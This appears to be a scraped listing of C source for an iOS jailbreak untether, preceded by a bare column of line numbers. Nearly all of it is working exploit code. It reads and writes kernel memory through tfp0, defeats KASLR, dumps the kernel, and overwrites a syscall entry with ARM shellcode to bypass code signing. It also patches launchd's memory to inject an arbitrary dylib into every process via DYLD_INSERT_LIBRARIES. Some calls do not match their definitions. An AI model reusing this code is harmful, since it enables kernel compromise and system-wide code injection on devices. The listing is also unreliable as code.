1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
|
#include <time.h>
#include <stdio.h>
#include <spawn.h>
#include <stdlib.h>
#include <unistd.h>
#include <mach/mach.h>
#include "envbypass.h"
task_t tfp1;
uint32_t lread_uint32(uint32_t addr) {
vm_size_t bytesRead=0;
uint32_t ret = 0;
vm_read_overwrite(tfp1, addr, 4, (vm_address_t)&ret, &bytesRead);
return ret;
}
int lwrite_uint32(uint32_t addr, uint32_t value) {
return vm_write(tfp1, addr, (vm_offset_t)&value, 4);
}
bool page_allocated(uint32_t addr) {
vm_size_t bytesRead=0;
uint32_t ret = 0;
return vm_read_overwrite(tfp1, addr, 4, (vm_address_t)&ret, &bytesRead) == 0;
}
extern char **environ;
#include <mach/mach_time.h>
#include <mach/mach.h>
#include <sys/time.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <syslog.h>
#include <stdio.h>
#include <errno.h>
/* kernel HACKED */
task_t tfp0;
/* KASLR shit */
#define LC_SIZE 0x0000000f
#define UNSLID_BASE 0x80001000
/* fuck you apple let me use syscall(...) */
#pragma clang diagnostic ignored "-Wdeprecated-declarations"
#ifndef USLEEP_TIME_IN_US
#define USLEEP_TIME_IN_US 250
#endif
/* slip-n-slide into bullshit :tm: */
uint32_t slide;
uint32_t kread_uint32(uint32_t addr) {
vm_size_t bytesRead=0;
uint32_t ret = 0;
vm_read_overwrite(tfp0, addr, 4, (vm_address_t)&ret, &bytesRead);
return ret;
}
void kwrite_uint32(uint32_t addr, uint32_t value) {
vm_write(tfp0, addr, (vm_offset_t)&value, 4);
}
void kwrite_uint16(uint32_t addr, uint16_t value) {
vm_write(tfp0, addr, (vm_offset_t)&value, 2);
}
uint32_t get_kernel_slide(){
uint32_t slide;
uint32_t base = 0x80001000;
uint32_t slid_base;
/*
* slide = 0x1000000 + (0x200000 * random byte)
* start at 256 so we don't get the kernel mad at us for reading unmapped memory
* or something idk
*/
for (int slide_byte = 256; slide_byte >= 1; slide_byte--) {
slide = 0x01000000 + 0x00200000 * slide_byte;
slid_base = base + slide;
if (kread_uint32(slid_base) == 0xfeedface) {
/*
* this looks like a kernel base
*/
if (kread_uint32(slid_base + 0x10) == LC_SIZE) {
/*
* we found it bae
*/
return slide;
}
}
}
return -1;
}
uint8_t* dump_kernel(uint8_t* kdata, uint32_t len) {
vm_size_t segment = 4;
/*
* this code is stolen from jailbreak.m in p0laris,
* which was stolen from internal Athenus Dev Team tools :P
*/
printf("[*] finding acceptable segment size...\n");
for (int i = 0; i < 16384; i++) {
/*
* basically, continuously increment `segment` we're reading by by 4.
* re-read from the kernel base until vm_read_overwrite fails.
*
* now, technically, there's probably a better way to get this value,
* and also likely and a better way to check that won't run into issues
* if vm_read_overwrite fails for other reasons, but i CBA. :P
*/
int ret = vm_read_overwrite(tfp0,
UNSLID_BASE + slide,
segment,
(vm_address_t)kdata + (i * segment),
&segment);
if (ret == 0) {
/*
* no fail, increase by 4.
*/
segment += 4;
} else {
/*
* it failed at a length of `segment`, and we increase by 4 in the loop.
* so, subtracting 4 will give us the last value we used that succeeded.
*/
printf("[*] mach_vm_read_overwrite returned %d at segment %d\n",
ret,
segment);
segment -= 4;
break;
}
}
/*
* we found the max segment size!
*/
printf("[*] acceptable segment size: %d\n", segment);
for (int i = 0; i < len / segment; i++) {
/*
* DUMP DUMP DUMP
*/
vm_read_overwrite(tfp0,
UNSLID_BASE + slide + (i * segment),
segment,
(vm_address_t)kdata + (i * segment),
&segment);
}
return kdata;
}
uint32_t find_syscall0(uint32_t region, uint8_t* kdata, size_t ksize) {
uint32_t addy = -1;
char* hfs_private_directory_data = memmem(kdata,
ksize,
".HFS+ Private Directory Data\r",
strlen(".HFS+ Private Directory Data\r"));
printf("[*] hfs_private_directory_data = %p\n",
hfs_private_directory_data);
uint32_t hfs_private_directory_data_addy = (uintptr_t)hfs_private_directory_data
- (uintptr_t)kdata
+ region;
char* hfs_private_directory_data_addy_ptr = memmem(kdata,
ksize,
(char*)&hfs_private_directory_data_addy,
sizeof(hfs_private_directory_data_addy));
printf("[*] hfs_private_directory_data_addy_ptr = %p\n",
hfs_private_directory_data_addy_ptr);
uint32_t hfs_private_directory_data_ptr_addy = (uintptr_t)hfs_private_directory_data_addy_ptr
- (uintptr_t)kdata;
addy = hfs_private_directory_data_ptr_addy + 0x4;
return addy;
}
uint32_t syscall0_addr = -1;
#define DEBUG_SYSCALLS 0
uint32_t function_addr(int syscall_id, uint32_t slide) {
uint32_t function_entry_addr = syscall0_addr + (syscall_id * 0xc);
uint32_t function_addr = kread_uint32(function_entry_addr);
printf("[*] function_entry_addr = 0x08%x, function_addr = 0x%08x\n", function_entry_addr, function_addr);
return function_addr;
}
void replace_syscall_with_addr(int syscall_id, uint32_t addr, uint32_t slide, uint16_t num_args, uint32_t arg_bytes) {
uint32_t function_entry_addr = syscall0_addr + (syscall_id * 0xc);
#if DEBUG_SYSCALLS
printf("[*] function_entry_addr = 0x%08x, function_addr = 0x%08x\n", function_entry_addr, kread_uint32(function_entry_addr));
#endif
kwrite_uint32(function_entry_addr, addr | 1);
kwrite_uint16(function_entry_addr + 0x8, num_args);
kwrite_uint32(function_entry_addr + 0xa, arg_bytes);
#if DEBUG_SYSCALLS
printf("[*] function_entry_addr = 0x%08x, function_addr = 0x%08x\n", function_entry_addr, kread_uint32(function_entry_addr));
#endif
}
void replace_syscall(int syscall_id, uint8_t* code, uint32_t length, uint32_t slide, uint16_t num_args, uint32_t arg_bytes) {
uint32_t where = slide + 0x80001b00;
vm_write(tfp0, where, (vm_offset_t)code, length);
replace_syscall_with_addr(syscall_id, where, slide, num_args, arg_bytes);
}
#define ownage_syscall 379
void csbypass(int offset_) {
uint32_t* comm_page_time;
kern_return_t ret;
uint8_t* kdata;
uint8_t payload420[] = {
0x08, 0x68, // ldr r0, [r1]
0x44, 0xf2, 0x44, 0x44, // movw r4, #0x4048
0xcf, 0xf6, 0xff, 0x74, // movt r4, #0xffff
0x20, 0x60, // str r0, [r4]
0x4f, 0xf0, 0x00, 0x00, // mov r0, #0x0
0x70, 0x47 // bx lr
};
int syscall_ret = 0;
uint32_t sret = 0;
printf("[*] offset=%d\n", offset_);
ret = task_for_pid(mach_task_self(), 0, &tfp0);
printf("[*] ret=%d, tfp0=%x\n", ret, tfp0);
slide = get_kernel_slide();
printf("[*] slide=0x%08x\n", slide);
kdata = (uint8_t*)malloc(32 * 1024 * 1024);
printf("[*] kdata=%p\n", kdata);
dump_kernel(kdata, 32 * 1024 * 1024);
syscall0_addr = find_syscall0(slide + 0x80001000,
kdata,
32 * 1024 * 1024)
+ 0x80001000
+ slide;
free(kdata);
kdata = NULL;
printf("[*] 0x%08x\n", syscall0_addr);
printf("[*] 0x%08x\n", function_addr(ownage_syscall, slide));
replace_syscall(ownage_syscall, payload420, sizeof(payload420), slide, 1, 4);
printf("[*] 0x%08x\n", function_addr(ownage_syscall, slide));
syscall_ret = syscall(ownage_syscall, offset_);
sret = errno;
printf("[*] syscall(%d); = %d. errno(dec) = %d, errno(hex) = 0x%x. \n", ownage_syscall, syscall_ret, sret, sret);
}
char swaggang[] = "swaggang";
bool _0wn(char* global_inject_dylib) {
task_for_pid(mach_task_self(), 1, &tfp1);
printf("[*] launchd DYLD env bypass by @__spv\n");
printf("[*] tfp1=0x%x\n", tfp1);
vm_size_t size;
uint32_t addy;
uint8_t* page = malloc(0x1000);
uint32_t address_of_string = 0;
char* replace_me = "SMOKETREESCSBYSPV1337";
for (int i = 0; i < 10; i++) {
printf("[*] setting %s=%s\n", replace_me, global_inject_dylib);
pid_t pid;
char *argv[] = {"/bin/launchctl", "setenv", replace_me, global_inject_dylib, NULL};
int status;
status = posix_spawn(&pid, "/bin/launchctl", NULL, NULL, argv, environ);
if (status == 0) {
do {
if (waitpid(pid, &status, 0) != -1) {
//
} else {
perror("waitpid");
goto out;
}
} while (!WIFEXITED(status) && !WIFSIGNALED(status));
}
else {
printf("posix_spawn: %s\n", strerror(status));
}
}
char* hax = "DYLD_INSERT_LIBRARIES";
printf("[*] searching teh pages\n");
bool found_one = false;
uint32_t num_found = 0;
char* read_data;
for (uint32_t pagen = 0x0; pagen < (0xffffffff >> 12); pagen++) {
if (pagen % ((0xffffffff >> 12) / 100) == 0) {
//printf("%d\n", pagen / ((0xffffffff >> 12) / 100));
}
uint32_t page_start = pagen << 12;
if (vm_read_overwrite(tfp1, page_start, 0x1000, (vm_address_t)page, &size))
continue; // page isn't allocated
;
uint8_t* find = (uint8_t*)memmem(page, 0x1000, replace_me, 21);
if (!find)
continue; // not in this page
/* if we reach here, we have found a page that is allocated in launchd, containing our string. */
uint32_t offset = (uint32_t)(find - page);
address_of_string = page_start + offset;
printf("[*] found an addy 0x%08x\n", address_of_string);
printf("[*] lread_uint32(addy) = 0x%08x\n", lread_uint32(address_of_string));
printf("[*] vm_write(0x%08x) = 0x%x\n", addy, vm_write(tfp1, (vm_address_t)address_of_string, (vm_offset_t)hax, 21));
printf("[*] lread_uint32(addy) = 0x%08x\n", lread_uint32(address_of_string));
num_found++;
found_one = true;
pid_t pid;
char *argv[] = {"/bin/sh", "-c", "launchctl getenv DYLD_INSERT_LIBRARIES 2>&1 > /tmp/env", NULL};
int status;
status = posix_spawn(&pid, "/bin/sh", NULL, NULL, argv, environ);
if (status == 0) {
do {
if (waitpid(pid, &status, 0) != -1) {
//
} else {
perror("waitpid");
goto out;
}
} while (!WIFEXITED(status) && !WIFSIGNALED(status));
}
else {
printf("posix_spawn: %s\n", strerror(status));
}
FILE* fp = fopen("/tmp/env", "r");
if (!fp) continue;
fseek(fp, 0, SEEK_END);
size_t len = ftell(fp);
fseek(fp, 0, SEEK_SET);
read_data = (char*)malloc(len);
fread(read_data, len, 1, fp);
fclose(fp);
if (strstr(read_data, "dylib")) {
// prolly good, right?
break;
}
}
unlink("/tmp/env");
free(page);
if (read_data)
free(read_data);
out:
if (found_one) {
printf("[*] done\n");
return true;
}
else {
printf("[*] didn't find any. whatever, let's try again\n");
return _0wn();
}
}
int main(int argc, char* argv[]) {
_0wn();
uint32_t offset = 0;
time_t val;
FILE* fp;
syslog(LOG_SYSLOG, "game over");
if (argc >= 2) {
offset = atoi(argv[1]);
goto do_it;
}
fp = fopen("/untether/offset", "rb");
if (fp) {
fread(&val, sizeof(val), 1, fp);
fclose(fp);
offset = val;
}
do_it:
csbypass(offset);
return 0;
}
|